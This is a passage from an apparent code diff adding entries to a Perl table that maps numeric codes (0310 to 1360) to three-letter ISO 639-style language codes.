+      q(0310) => q(nic),
+      q(0311) => q(niu),
+      q(0312) => q(nno),
+      q(0313) => q(nob),
+      q(0314) => q(nog),
+      q(0315) => q(non),
+      q(0316) => q(nor),
+      q(0317) => q(nqo),
+      q(0318) => q(nso),
+      q(0319) => q(nub),
+      q(0320) => q(nwc),
+      q(0321) => q(nya),
+      q(0322) => q(nym),
+      q(0323) => q(nyn),
+      q(0324) => q(nyo),
+      q(0325) => q(nzi),
+      q(0326) => q(oci),
+      q(0327) => q(oji),
+      q(0328) => q(ori),
+      q(0329) => q(orm),
+      q(0330) => q(osa),
+      q(0331) => q(oss),
+      q(0332) => q(ota),
+      q(0333) => q(oto),
+      q(0334) => q(paa),
+      q(0335) => q(pag),
+      q(0336) => q(pal),
+      q(0337) => q(pam),
+      q(0338) => q(pan),
+      q(0339) => q(pap),
+      q(0340) => q(pau),
+      q(0341) => q(peo),
+      q(0342) => q(per),
+      q(0343) => q(phi),
+      q(0344) => q(phn),
+      q(0345) => q(pli),
+      q(0346) => q(pol),
+      q(0347) => q(pon),
+      q(0348) => q(por),
+      q(0349) => q(pra),
+      q(0350) => q(pro),
+      q(0351) => q(pus),
+      q(0352) => q(qtz),
+      q(0353) => q(que),
+      q(0354) => q(raj),
+      q(0355) => q(rap),
+      q(0356) => q(rar),
+      q(0357) => q(roa),
+      q(0358) => q(roh),
+      q(0359) => q(rom),
+      q(0360) => q(rum),
+      q(0361) => q(run),
+      q(0362) => q(rup),
+      q(0363) => q(rus),
+      q(0364) => q(sad),
+      q(0365) => q(sag),
+      q(0366) => q(sah),
+      q(0367) => q(sai),
+      q(0368) => q(sal),
+      q(0369) => q(sam),
+      q(0370) => q(san),
+      q(0371) => q(sas),
+      q(0372) => q(sat),
+      q(0373) => q(scn),
+      q(0374) => q(sco),
+      q(0375) => q(sel),
+      q(0376) => q(sem),
+      q(0377) => q(sga),
+      q(0378) => q(sgn),
+      q(0379) => q(shn),
+      q(0380) => q(sid),
+      q(0381) => q(sin),
+      q(0382) => q(sio),
+      q(0383) => q(sit),
+      q(0384) => q(sla),
+      q(0385) => q(slo),
+      q(0386) => q(slv),
+      q(0387) => q(sma),
+      q(0388) => q(sme),
+      q(0389) => q(smi),
+      q(0390) => q(smj),
+      q(0391) => q(smn),
+      q(0392) => q(smo),
+      q(0393) => q(sms),
+      q(0394) => q(sna),
+      q(0395) => q(snd),
+      q(0396) => q(snk),
+      q(0397) => q(sog),
+      q(0398) => q(som),
+      q(0399) => q(son),
+      q(0400) => q(sot),
+      q(0401) => q(spa),
+      q(0402) => q(srd),
+      q(0403) => q(srn),
+      q(0404) => q(srp),
+      q(0405) => q(srr),
+      q(0406) => q(ssa),
+      q(0407) => q(ssw),
+      q(0408) => q(suk),
+      q(0409) => q(sun),
+      q(0410) => q(sus),
+      q(0411) => q(sux),
+      q(0412) => q(swa),
+      q(0413) => q(swe),
+      q(0414) => q(syc),
+      q(0415) => q(syr),
+      q(0416) => q(tah),
+      q(0417) => q(tai),
+      q(0418) => q(tam),
+      q(0419) => q(tat),
+      q(0420) => q(tel),
+      q(0421) => q(tem),
+      q(0422) => q(ter),
+      q(0423) => q(tet),
+      q(0424) => q(tgk),
+      q(0425) => q(tgl),
+      q(0426) => q(tha),
+      q(0427) => q(tib),
+      q(0428) => q(tig),
+      q(0429) => q(tir),
+      q(0430) => q(tiv),
+      q(0431) => q(tkl),
+      q(0432) => q(tlh),
+      q(0433) => q(tli),
+      q(0434) => q(tmh),
+      q(0435) => q(tog),
+      q(0436) => q(ton),
+      q(0437) => q(tpi),
+      q(0438) => q(tsi),
+      q(0439) => q(tsn),
+      q(0440) => q(tso),
+      q(0441) => q(tuk),
+      q(0442) => q(tum),
+      q(0443) => q(tup),
+      q(0444) => q(tur),
+      q(0445) => q(tut),
+      q(0446) => q(tvl),
+      q(0447) => q(twi),
+      q(0448) => q(tyv),
+      q(0449) => q(udm),
+      q(0450) => q(uga),
+      q(0451) => q(uig),
+      q(0452) => q(ukr),
+      q(0453) => q(umb),
+      q(0454) => q(und),
+      q(0455) => q(urd),
+      q(0456) => q(uzb),
+      q(0457) => q(vai),
+      q(0458) => q(ven),
+      q(0459) => q(vie),
+      q(0460) => q(vol),
+      q(0461) => q(vot),
+      q(0462) => q(wak),
+      q(0463) => q(wal),
+      q(0464) => q(war),
+      q(0465) => q(was),
+      q(0466) => q(wel),
+      q(0467) => q(wen),
+      q(0468) => q(wln),
+      q(0469) => q(wol),
+      q(0470) => q(xal),
+      q(0471) => q(xho),
+      q(0472) => q(yao),
+      q(0473) => q(yap),
+      q(0474) => q(yid),
+      q(0475) => q(yor),
+      q(0476) => q(ypk),
+      q(0477) => q(zap),
+      q(0478) => q(zbl),
+      q(0479) => q(zen),
+      q(0480) => q(zgh),
+      q(0481) => q(zha),
+      q(0482) => q(znd),
+      q(0483) => q(zul),
+      q(0484) => q(zun),
+      q(0485) => q(zxx),
+      q(0486) => q(zza),
+      q(0487) => q(aav),
+      q(0488) => q(alv),
+      q(0489) => q(aqa),
+      q(0490) => q(aql),
+      q(0491) => q(auf),
+      q(0492) => q(awd),
+      q(0493) => q(azc),
+      q(0494) => q(cba),
+      q(0495) => q(ccn),
+      q(0496) => q(ccs),
+      q(0497) => q(cdc),
+      q(0498) => q(cdd),
+      q(0499) => q(csu),
+      q(0500) => q(dmn),
+      q(0501) => q(egx),
+      q(0502) => q(esx),
+      q(0503) => q(euq),
+      q(0504) => q(fox),
+      q(0505) => q(gme),
+      q(0506) => q(gmq),
+      q(0507) => q(gmw),
+      q(0508) => q(grk),
+      q(0509) => q(hmx),
+      q(0510) => q(hok),
+      q(0511) => q(hyx),
+      q(0512) => q(iir),
+      q(0513) => q(itc),
+      q(0514) => q(jpx),
+      q(0515) => q(kdo),
+      q(0516) => q(ngf),
+      q(0517) => q(omq),
+      q(0518) => q(omv),
+      q(0519) => q(plf),
+      q(0520) => q(poz),
+      q(0521) => q(pqe),
+      q(0522) => q(pqw),
+      q(0523) => q(qwe),
+      q(0524) => q(sdv),
+      q(0525) => q(sqj),
+      q(0526) => q(syd),
+      q(0527) => q(tbq),
+      q(0528) => q(trk),
+      q(0529) => q(tuw),
+      q(0530) => q(urj),
+      q(0531) => q(xgn),
+      q(0532) => q(xnd),
+      q(0533) => q(zhx),
+      q(0534) => q(zle),
+      q(0535) => q(zls),
+      q(0536) => q(zlw),
+      q(0538) => q(aaa),
+      q(0539) => q(aab),
+      q(0540) => q(aac),
+      q(0541) => q(aad),
+      q(0542) => q(aae),
+      q(0543) => q(aaf),
+      q(0544) => q(aag),
+      q(0545) => q(aah),
+      q(0546) => q(aai),
+      q(0547) => q(aak),
+      q(0548) => q(aal),
+      q(0549) => q(aan),
+      q(0550) => q(aao),
+      q(0551) => q(aap),
+      q(0552) => q(aaq),
+      q(0553) => q(aas),
+      q(0554) => q(aat),
+      q(0555) => q(aau),
+      q(0556) => q(aaw),
+      q(0557) => q(aax),
+      q(0558) => q(aaz),
+      q(0559) => q(aba),
+      q(0560) => q(abb),
+      q(0561) => q(abc),
+      q(0562) => q(abd),
+      q(0563) => q(abe),
+      q(0564) => q(abf),
+      q(0565) => q(abg),
+      q(0566) => q(abh),
+      q(0567) => q(abi),
+      q(0568) => q(abj),
+      q(0569) => q(abl),
+      q(0570) => q(abm),
+      q(0571) => q(abn),
+      q(0572) => q(abo),
+      q(0573) => q(abp),
+      q(0574) => q(abq),
+      q(0575) => q(abr),
+      q(0576) => q(abs),
+      q(0577) => q(abt),
+      q(0578) => q(abu),
+      q(0579) => q(abv),
+      q(0580) => q(abw),
+      q(0581) => q(abx),
+      q(0582) => q(aby),
+      q(0583) => q(abz),
+      q(0584) => q(aca),
+      q(0585) => q(acb),
+      q(0586) => q(acd),
+      q(0587) => q(acf),
+      q(0588) => q(aci),
+      q(0589) => q(ack),
+      q(0590) => q(acl),
+      q(0591) => q(acm),
+      q(0592) => q(acn),
+      q(0593) => q(acp),
+      q(0594) => q(acq),
+      q(0595) => q(acr),
+      q(0596) => q(acs),
+      q(0597) => q(act),
+      q(0598) => q(acu),
+      q(0599) => q(acv),
+      q(0600) => q(acw),
+      q(0601) => q(acx),
+      q(0602) => q(acy),
+      q(0603) => q(acz),
+      q(0604) => q(adb),
+      q(0605) => q(add),
+      q(0606) => q(ade),
+      q(0607) => q(adf),
+      q(0608) => q(adg),
+      q(0609) => q(adh),
+      q(0610) => q(adi),
+      q(0611) => q(adj),
+      q(0612) => q(adl),
+      q(0613) => q(adn),
+      q(0614) => q(ado),
+      q(0615) => q(adq),
+      q(0616) => q(adr),
+      q(0617) => q(ads),
+      q(0618) => q(adt),
+      q(0619) => q(adu),
+      q(0620) => q(adw),
+      q(0621) => q(adx),
+      q(0622) => q(adz),
+      q(0623) => q(aea),
+      q(0624) => q(aeb),
+      q(0625) => q(aec),
+      q(0626) => q(aed),
+      q(0627) => q(aee),
+      q(0628) => q(aek),
+      q(0629) => q(ael),
+      q(0630) => q(aem),
+      q(0631) => q(aen),
+      q(0632) => q(aeq),
+      q(0633) => q(aer),
+      q(0634) => q(aes),
+      q(0635) => q(aeu),
+      q(0636) => q(aew),
+      q(0637) => q(aey),
+      q(0638) => q(aez),
+      q(0639) => q(afb),
+      q(0640) => q(afd),
+      q(0641) => q(afe),
+      q(0642) => q(afg),
+      q(0643) => q(afi),
+      q(0644) => q(afk),
+      q(0645) => q(afn),
+      q(0646) => q(afo),
+      q(0647) => q(afp),
+      q(0648) => q(afs),
+      q(0649) => q(aft),
+      q(0650) => q(afu),
+      q(0651) => q(afz),
+      q(0652) => q(aga),
+      q(0653) => q(agb),
+      q(0654) => q(agc),
+      q(0655) => q(agd),
+      q(0656) => q(age),
+      q(0657) => q(agf),
+      q(0658) => q(agg),
+      q(0659) => q(agh),
+      q(0660) => q(agi),
+      q(0661) => q(agj),
+      q(0662) => q(agk),
+      q(0663) => q(agl),
+      q(0664) => q(agm),
+      q(0665) => q(agn),
+      q(0666) => q(ago),
+      q(0667) => q(agq),
+      q(0668) => q(agr),
+      q(0669) => q(ags),
+      q(0670) => q(agt),
+      q(0671) => q(agu),
+      q(0672) => q(agv),
+      q(0673) => q(agw),
+      q(0674) => q(agx),
+      q(0675) => q(agy),
+      q(0676) => q(agz),
+      q(0677) => q(aha),
+      q(0678) => q(ahb),
+      q(0679) => q(ahg),
+      q(0680) => q(ahh),
+      q(0681) => q(ahi),
+      q(0682) => q(ahk),
+      q(0683) => q(ahl),
+      q(0684) => q(ahm),
+      q(0685) => q(ahn),
+      q(0686) => q(aho),
+      q(0687) => q(ahp),
+      q(0688) => q(ahr),
+      q(0689) => q(ahs),
+      q(0690) => q(aht),
+      q(0691) => q(aia),
+      q(0692) => q(aib),
+      q(0693) => q(aic),
+      q(0694) => q(aid),
+      q(0695) => q(aie),
+      q(0696) => q(aif),
+      q(0697) => q(aig),
+      q(0698) => q(aih),
+      q(0699) => q(aii),
+      q(0700) => q(aij),
+      q(0701) => q(aik),
+      q(0702) => q(ail),
+      q(0703) => q(aim),
+      q(0704) => q(aio),
+      q(0705) => q(aip),
+      q(0706) => q(aiq),
+      q(0707) => q(air),
+      q(0708) => q(ais),
+      q(0709) => q(ait),
+      q(0710) => q(aiw),
+      q(0711) => q(aix),
+      q(0712) => q(aiy),
+      q(0713) => q(aja),
+      q(0714) => q(ajg),
+      q(0715) => q(aji),
+      q(0716) => q(ajn),
+      q(0717) => q(ajp),
+      q(0718) => q(ajt),
+      q(0719) => q(aju),
+      q(0720) => q(ajw),
+      q(0721) => q(ajz),
+      q(0722) => q(akb),
+      q(0723) => q(akc),
+      q(0724) => q(akd),
+      q(0725) => q(ake),
+      q(0726) => q(akf),
+      q(0727) => q(akg),
+      q(0728) => q(akh),
+      q(0729) => q(aki),
+      q(0730) => q(akj),
+      q(0731) => q(akl),
+      q(0732) => q(akm),
+      q(0733) => q(ako),
+      q(0734) => q(akp),
+      q(0735) => q(akq),
+      q(0736) => q(akr),
+      q(0737) => q(aks),
+      q(0738) => q(akt),
+      q(0739) => q(aku),
+      q(0740) => q(akv),
+      q(0741) => q(akw),
+      q(0742) => q(akx),
+      q(0743) => q(aky),
+      q(0744) => q(akz),
+      q(0745) => q(ala),
+      q(0746) => q(alc),
+      q(0747) => q(ald),
+      q(0748) => q(alf),
+      q(0749) => q(alh),
+      q(0750) => q(ali),
+      q(0751) => q(alj),
+      q(0752) => q(alk),
+      q(0753) => q(all),
+      q(0754) => q(alm),
+      q(0755) => q(aln),
+      q(0756) => q(alo),
+      q(0757) => q(alp),
+      q(0758) => q(alq),
+      q(0759) => q(alr),
+      q(0760) => q(als),
+      q(0761) => q(alu),
+      q(0762) => q(alw),
+      q(0763) => q(alx),
+      q(0764) => q(aly),
+      q(0765) => q(alz),
+      q(0766) => q(ama),
+      q(0767) => q(amb),
+      q(0768) => q(amc),
+      q(0769) => q(ame),
+      q(0770) => q(amf),
+      q(0771) => q(amg),
+      q(0772) => q(ami),
+      q(0773) => q(amj),
+      q(0774) => q(amk),
+      q(0775) => q(aml),
+      q(0776) => q(amm),
+      q(0777) => q(amn),
+      q(0778) => q(amo),
+      q(0779) => q(amp),
+      q(0780) => q(amq),
+      q(0781) => q(amr),
+      q(0782) => q(ams),
+      q(0783) => q(amt),
+      q(0784) => q(amu),
+      q(0785) => q(amv),
+      q(0786) => q(amw),
+      q(0787) => q(amx),
+      q(0788) => q(amy),
+      q(0789) => q(amz),
+      q(0790) => q(ana),
+      q(0791) => q(anb),
+      q(0792) => q(anc),
+      q(0793) => q(and),
+      q(0794) => q(ane),
+      q(0795) => q(anf),
+      q(0796) => q(anh),
+      q(0797) => q(ani),
+      q(0798) => q(anj),
+      q(0799) => q(ank),
+      q(0800) => q(anl),
+      q(0801) => q(anm),
+      q(0802) => q(ann),
+      q(0803) => q(ano),
+      q(0804) => q(anq),
+      q(0805) => q(anr),
+      q(0806) => q(ans),
+      q(0807) => q(ant),
+      q(0808) => q(anu),
+      q(0809) => q(anv),
+      q(0810) => q(anw),
+      q(0811) => q(anx),
+      q(0812) => q(any),
+      q(0813) => q(anz),
+      q(0814) => q(aoa),
+      q(0815) => q(aob),
+      q(0816) => q(aoc),
+      q(0817) => q(aod),
+      q(0818) => q(aoe),
+      q(0819) => q(aof),
+      q(0820) => q(aog),
+      q(0821) => q(aoh),
+      q(0822) => q(aoi),
+      q(0823) => q(aoj),
+      q(0824) => q(aok),
+      q(0825) => q(aol),
+      q(0826) => q(aom),
+      q(0827) => q(aon),
+      q(0828) => q(aor),
+      q(0829) => q(aos),
+      q(0830) => q(aot),
+      q(0831) => q(aou),
+      q(0832) => q(aox),
+      q(0833) => q(aoz),
+      q(0834) => q(apb),
+      q(0835) => q(apc),
+      q(0836) => q(apd),
+      q(0837) => q(ape),
+      q(0838) => q(apf),
+      q(0839) => q(apg),
+      q(0840) => q(aph),
+      q(0841) => q(api),
+      q(0842) => q(apj),
+      q(0843) => q(apk),
+      q(0844) => q(apl),
+      q(0845) => q(apm),
+      q(0846) => q(apn),
+      q(0847) => q(apo),
+      q(0848) => q(app),
+      q(0849) => q(apq),
+      q(0850) => q(apr),
+      q(0851) => q(aps),
+      q(0852) => q(apt),
+      q(0853) => q(apu),
+      q(0854) => q(apv),
+      q(0855) => q(apw),
+      q(0856) => q(apx),
+      q(0857) => q(apy),
+      q(0858) => q(apz),
+      q(0859) => q(aqc),
+      q(0860) => q(aqd),
+      q(0861) => q(aqg),
+      q(0862) => q(aqm),
+      q(0863) => q(aqn),
+      q(0864) => q(aqp),
+      q(0865) => q(aqr),
+      q(0866) => q(aqt),
+      q(0867) => q(aqz),
+      q(0868) => q(arb),
+      q(0869) => q(ard),
+      q(0870) => q(are),
+      q(0871) => q(arh),
+      q(0872) => q(ari),
+      q(0873) => q(arj),
+      q(0874) => q(ark),
+      q(0875) => q(arl),
+      q(0876) => q(aro),
+      q(0877) => q(arq),
+      q(0878) => q(arr),
+      q(0879) => q(ars),
+      q(0880) => q(aru),
+      q(0881) => q(arv),
+      q(0882) => q(arx),
+      q(0883) => q(ary),
+      q(0884) => q(arz),
+      q(0885) => q(asa),
+      q(0886) => q(asb),
+      q(0887) => q(asc),
+      q(0888) => q(asd),
+      q(0889) => q(ase),
+      q(0890) => q(asf),
+      q(0891) => q(asg),
+      q(0892) => q(ash),
+      q(0893) => q(asi),
+      q(0894) => q(asj),
+      q(0895) => q(ask),
+      q(0896) => q(asl),
+      q(0897) => q(asn),
+      q(0898) => q(aso),
+      q(0899) => q(asp),
+      q(0900) => q(asq),
+      q(0901) => q(asr),
+      q(0902) => q(ass),
+      q(0903) => q(asu),
+      q(0904) => q(asv),
+      q(0905) => q(asw),
+      q(0906) => q(asx),
+      q(0907) => q(asy),
+      q(0908) => q(asz),
+      q(0909) => q(ata),
+      q(0910) => q(atb),
+      q(0911) => q(atc),
+      q(0912) => q(atd),
+      q(0913) => q(ate),
+      q(0914) => q(atg),
+      q(0915) => q(ati),
+      q(0916) => q(atj),
+      q(0917) => q(atk),
+      q(0918) => q(atl),
+      q(0919) => q(atm),
+      q(0920) => q(atn),
+      q(0921) => q(ato),
+      q(0922) => q(atp),
+      q(0923) => q(atq),
+      q(0924) => q(atr),
+      q(0925) => q(ats),
+      q(0926) => q(att),
+      q(0927) => q(atu),
+      q(0928) => q(atv),
+      q(0929) => q(atw),
+      q(0930) => q(atx),
+      q(0931) => q(aty),
+      q(0932) => q(atz),
+      q(0933) => q(aua),
+      q(0934) => q(aub),
+      q(0935) => q(auc),
+      q(0936) => q(aud),
+      q(0937) => q(aug),
+      q(0938) => q(auh),
+      q(0939) => q(aui),
+      q(0940) => q(auj),
+      q(0941) => q(auk),
+      q(0942) => q(aul),
+      q(0943) => q(aum),
+      q(0944) => q(aun),
+      q(0945) => q(auo),
+      q(0946) => q(aup),
+      q(0947) => q(auq),
+      q(0948) => q(aur),
+      q(0949) => q(aut),
+      q(0950) => q(auu),
+      q(0951) => q(auw),
+      q(0952) => q(aux),
+      q(0953) => q(auy),
+      q(0954) => q(auz),
+      q(0955) => q(avb),
+      q(0956) => q(avd),
+      q(0957) => q(avi),
+      q(0958) => q(avk),
+      q(0959) => q(avl),
+      q(0960) => q(avm),
+      q(0961) => q(avn),
+      q(0962) => q(avo),
+      q(0963) => q(avs),
+      q(0964) => q(avt),
+      q(0965) => q(avu),
+      q(0966) => q(avv),
+      q(0967) => q(awb),
+      q(0968) => q(awc),
+      q(0969) => q(awe),
+      q(0970) => q(awg),
+      q(0971) => q(awh),
+      q(0972) => q(awi),
+      q(0973) => q(awk),
+      q(0974) => q(awm),
+      q(0975) => q(awn),
+      q(0976) => q(awo),
+      q(0977) => q(awr),
+      q(0978) => q(aws),
+      q(0979) => q(awt),
+      q(0980) => q(awu),
+      q(0981) => q(awv),
+      q(0982) => q(aww),
+      q(0983) => q(awx),
+      q(0984) => q(awy),
+      q(0985) => q(axb),
+      q(0986) => q(axe),
+      q(0987) => q(axg),
+      q(0988) => q(axk),
+      q(0989) => q(axl),
+      q(0990) => q(axm),
+      q(0991) => q(axx),
+      q(0992) => q(aya),
+      q(0993) => q(ayb),
+      q(0994) => q(ayc),
+      q(0995) => q(ayd),
+      q(0996) => q(aye),
+      q(0997) => q(ayg),
+      q(0998) => q(ayh),
+      q(0999) => q(ayi),
+      q(1000) => q(ayk),
+      q(1001) => q(ayl),
+      q(1002) => q(ayn),
+      q(1003) => q(ayo),
+      q(1004) => q(ayp),
+      q(1005) => q(ayq),
+      q(1006) => q(ayr),
+      q(1007) => q(ays),
+      q(1008) => q(ayt),
+      q(1009) => q(ayu),
+      q(1010) => q(ayy),
+      q(1011) => q(ayz),
+      q(1012) => q(aza),
+      q(1013) => q(azb),
+      q(1014) => q(azd),
+      q(1015) => q(azg),
+      q(1016) => q(azj),
+      q(1017) => q(azm),
+      q(1018) => q(azn),
+      q(1019) => q(azo),
+      q(1020) => q(azt),
+      q(1021) => q(azz),
+      q(1022) => q(baa),
+      q(1023) => q(bab),
+      q(1024) => q(bac),
+      q(1025) => q(bae),
+      q(1026) => q(baf),
+      q(1027) => q(bag),
+      q(1028) => q(bah),
+      q(1029) => q(baj),
+      q(1030) => q(bao),
+      q(1031) => q(bap),
+      q(1032) => q(bar),
+      q(1033) => q(bau),
+      q(1034) => q(bav),
+      q(1035) => q(baw),
+      q(1036) => q(bax),
+      q(1037) => q(bay),
+      q(1038) => q(bba),
+      q(1039) => q(bbb),
+      q(1040) => q(bbc),
+      q(1041) => q(bbd),
+      q(1042) => q(bbe),
+      q(1043) => q(bbf),
+      q(1044) => q(bbg),
+      q(1045) => q(bbh),
+      q(1046) => q(bbi),
+      q(1047) => q(bbj),
+      q(1048) => q(bbk),
+      q(1049) => q(bbl),
+      q(1050) => q(bbm),
+      q(1051) => q(bbn),
+      q(1052) => q(bbo),
+      q(1053) => q(bbp),
+      q(1054) => q(bbq),
+      q(1055) => q(bbr),
+      q(1056) => q(bbs),
+      q(1057) => q(bbt),
+      q(1058) => q(bbu),
+      q(1059) => q(bbv),
+      q(1060) => q(bbw),
+      q(1061) => q(bbx),
+      q(1062) => q(bby),
+      q(1063) => q(bbz),
+      q(1064) => q(bca),
+      q(1065) => q(bcb),
+      q(1066) => q(bcc),
+      q(1067) => q(bcd),
+      q(1068) => q(bce),
+      q(1069) => q(bcf),
+      q(1070) => q(bcg),
+      q(1071) => q(bch),
+      q(1072) => q(bci),
+      q(1073) => q(bcj),
+      q(1074) => q(bck),
+      q(1075) => q(bcl),
+      q(1076) => q(bcm),
+      q(1077) => q(bcn),
+      q(1078) => q(bco),
+      q(1079) => q(bcp),
+      q(1080) => q(bcq),
+      q(1081) => q(bcr),
+      q(1082) => q(bcs),
+      q(1083) => q(bct),
+      q(1084) => q(bcu),
+      q(1085) => q(bcv),
+      q(1086) => q(bcw),
+      q(1087) => q(bcy),
+      q(1088) => q(bcz),
+      q(1089) => q(bda),
+      q(1090) => q(bdb),
+      q(1091) => q(bdc),
+      q(1092) => q(bdd),
+      q(1093) => q(bde),
+      q(1094) => q(bdf),
+      q(1095) => q(bdg),
+      q(1096) => q(bdh),
+      q(1097) => q(bdi),
+      q(1098) => q(bdj),
+      q(1099) => q(bdk),
+      q(1100) => q(bdl),
+      q(1101) => q(bdm),
+      q(1102) => q(bdn),
+      q(1103) => q(bdo),
+      q(1104) => q(bdp),
+      q(1105) => q(bdq),
+      q(1106) => q(bdr),
+      q(1107) => q(bds),
+      q(1108) => q(bdt),
+      q(1109) => q(bdu),
+      q(1110) => q(bdv),
+      q(1111) => q(bdw),
+      q(1112) => q(bdx),
+      q(1113) => q(bdy),
+      q(1114) => q(bdz),
+      q(1115) => q(bea),
+      q(1116) => q(beb),
+      q(1117) => q(bec),
+      q(1118) => q(bed),
+      q(1119) => q(bee),
+      q(1120) => q(bef),
+      q(1121) => q(beg),
+      q(1122) => q(beh),
+      q(1123) => q(bei),
+      q(1124) => q(bek),
+      q(1125) => q(beo),
+      q(1126) => q(bep),
+      q(1127) => q(beq),
+      q(1128) => q(bes),
+      q(1129) => q(bet),
+      q(1130) => q(beu),
+      q(1131) => q(bev),
+      q(1132) => q(bew),
+      q(1133) => q(bex),
+      q(1134) => q(bey),
+      q(1135) => q(bez),
+      q(1136) => q(mot),
+      q(1137) => q(bfb),
+      q(1138) => q(bfc),
+      q(1139) => q(bfd),
+      q(1140) => q(bfe),
+      q(1141) => q(bff),
+      q(1142) => q(bfg),
+      q(1143) => q(bfh),
+      q(1144) => q(bfi),
+      q(1145) => q(bfj),
+      q(1146) => q(bfk),
+      q(1147) => q(bfl),
+      q(1148) => q(bfm),
+      q(1149) => q(bfn),
+      q(1150) => q(bfo),
+      q(1151) => q(bfp),
+      q(1152) => q(bfq),
+      q(1153) => q(bfr),
+      q(1154) => q(bfs),
+      q(1155) => q(bft),
+      q(1156) => q(bfu),
+      q(1157) => q(bfw),
+      q(1158) => q(bfx),
+      q(1159) => q(bfy),
+      q(1160) => q(bfz),
+      q(1161) => q(bga),
+      q(1162) => q(bgb),
+      q(1163) => q(bgc),
+      q(1164) => q(bgd),
+      q(1165) => q(bge),
+      q(1166) => q(bgf),
+      q(1167) => q(bgg),
+      q(1168) => q(bgi),
+      q(1169) => q(bgj),
+      q(1170) => q(bgk),
+      q(1171) => q(bgl),
+      q(1172) => q(bgn),
+      q(1173) => q(bgo),
+      q(1174) => q(bgp),
+      q(1175) => q(bgq),
+      q(1176) => q(bgr),
+      q(1177) => q(bgs),
+      q(1178) => q(bgt),
+      q(1179) => q(bgu),
+      q(1180) => q(bgv),
+      q(1181) => q(bgw),
+      q(1182) => q(bgx),
+      q(1183) => q(bgy),
+      q(1184) => q(bgz),
+      q(1185) => q(bha),
+      q(1186) => q(bhb),
+      q(1187) => q(bhc),
+      q(1188) => q(bhd),
+      q(1189) => q(bhe),
+      q(1190) => q(bhf),
+      q(1191) => q(bhg),
+      q(1192) => q(bhh),
+      q(1193) => q(bhi),
+      q(1194) => q(bhj),
+      q(1195) => q(bhl),
+      q(1196) => q(bhm),
+      q(1197) => q(bhn),
+      q(1198) => q(bhp),
+      q(1199) => q(bhq),
+      q(1200) => q(bhr),
+      q(1201) => q(bhs),
+      q(1202) => q(bht),
+      q(1203) => q(bhu),
+      q(1204) => q(bhv),
+      q(1205) => q(bhw),
+      q(1206) => q(bhx),
+      q(1207) => q(bhy),
+      q(1208) => q(bhz),
+      q(1209) => q(bia),
+      q(1210) => q(bib),
+      q(1211) => q(bic),
+      q(1212) => q(bid),
+      q(1213) => q(bie),
+      q(1214) => q(bif),
+      q(1215) => q(big),
+      q(1216) => q(bij),
+      q(1217) => q(bil),
+      q(1218) => q(bim),
+      q(1219) => q(bio),
+      q(1220) => q(bip),
+      q(1221) => q(biq),
+      q(1222) => q(bir),
+      q(1223) => q(bit),
+      q(1224) => q(biu),
+      q(1225) => q(biv),
+      q(1226) => q(biw),
+      q(1227) => q(bix),
+      q(1228) => q(biy),
+      q(1229) => q(biz),
+      q(1230) => q(bja),
+      q(1231) => q(bjb),
+      q(1232) => q(bjc),
+      q(1233) => q(bje),
+      q(1234) => q(bjf),
+      q(1235) => q(bjg),
+      q(1236) => q(bjh),
+      q(1237) => q(bji),
+      q(1238) => q(bjj),
+      q(1239) => q(bjk),
+      q(1240) => q(bjl),
+      q(1241) => q(bjm),
+      q(1242) => q(bjn),
+      q(1243) => q(bjo),
+      q(1244) => q(bjp),
+      q(1245) => q(bjr),
+      q(1246) => q(bjs),
+      q(1247) => q(bjt),
+      q(1248) => q(bju),
+      q(1249) => q(bjv),
+      q(1250) => q(bjw),
+      q(1251) => q(bjx),
+      q(1252) => q(bjy),
+      q(1253) => q(bjz),
+      q(1254) => q(bka),
+      q(1255) => q(bkc),
+      q(1256) => q(bkd),
+      q(1257) => q(bkf),
+      q(1258) => q(bkg),
+      q(1259) => q(bkh),
+      q(1260) => q(bki),
+      q(1261) => q(bkj),
+      q(1262) => q(bkk),
+      q(1263) => q(bkl),
+      q(1264) => q(bkm),
+      q(1265) => q(bkn),
+      q(1266) => q(bko),
+      q(1267) => q(bkp),
+      q(1268) => q(bkq),
+      q(1269) => q(bkr),
+      q(1270) => q(bks),
+      q(1271) => q(bkt),
+      q(1272) => q(bku),
+      q(1273) => q(bkv),
+      q(1274) => q(bkw),
+      q(1275) => q(bkx),
+      q(1276) => q(bky),
+      q(1277) => q(bkz),
+      q(1278) => q(blb),
+      q(1279) => q(blc),
+      q(1280) => q(bld),
+      q(1281) => q(ble),
+      q(1282) => q(blf),
+      q(1283) => q(blg),
+      q(1284) => q(blh),
+      q(1285) => q(bli),
+      q(1286) => q(blj),
+      q(1287) => q(blk),
+      q(1288) => q(bll),
+      q(1289) => q(blm),
+      q(1290) => q(bln),
+      q(1291) => q(blo),
+      q(1292) => q(blp),
+      q(1293) => q(blq),
+      q(1294) => q(blr),
+      q(1295) => q(bls),
+      q(1296) => q(blt),
+      q(1297) => q(blv),
+      q(1298) => q(blw),
+      q(1299) => q(blx),
+      q(1300) => q(bly),
+      q(1301) => q(blz),
+      q(1302) => q(bma),
+      q(1303) => q(bmb),
+      q(1304) => q(bmc),
+      q(1305) => q(bmd),
+      q(1306) => q(bme),
+      q(1307) => q(bmf),
+      q(1308) => q(bmg),
+      q(1309) => q(bmh),
+      q(1310) => q(bmi),
+      q(1311) => q(bmj),
+      q(1312) => q(bmk),
+      q(1313) => q(bml),
+      q(1314) => q(bmm),
+      q(1315) => q(bmn),
+      q(1316) => q(bmo),
+      q(1317) => q(bmp),
+      q(1318) => q(bmq),
+      q(1319) => q(bmr),
+      q(1320) => q(bms),
+      q(1321) => q(bmt),
+      q(1322) => q(bmu),
+      q(1323) => q(bmv),
+      q(1324) => q(bmw),
+      q(1325) => q(bmx),
+      q(1326) => q(bmz),
+      q(1327) => q(bna),
+      q(1328) => q(bnb),
+      q(1329) => q(bnc),
+      q(1330) => q(bnd),
+      q(1331) => q(bne),
+      q(1332) => q(bnf),
+      q(1333) => q(bng),
+      q(1334) => q(bni),
+      q(1335) => q(bnj),
+      q(1336) => q(bnk),
+      q(1337) => q(bnl),
+      q(1338) => q(bnm),
+      q(1339) => q(bnn),
+      q(1340) => q(bno),
+      q(1341) => q(bnp),
+      q(1342) => q(bnq),
+      q(1343) => q(bnr),
+      q(1344) => q(bns),
+      q(1345) => q(bnu),
+      q(1346) => q(bnv),
+      q(1347) => q(bnw),
+      q(1348) => q(bnx),
+      q(1349) => q(bny),
+      q(1350) => q(bnz),
+      q(1351) => q(boa),
+      q(1352) => q(bob),
+      q(1353) => q(boe),
+      q(1354) => q(bof),
+      q(1355) => q(bog),
+      q(1356) => q(boh),
+      q(1357) => q(boi),
+      q(1358) => q(boj),
+      q(1359) => q(bok),
+      q(1360) => q(bol),
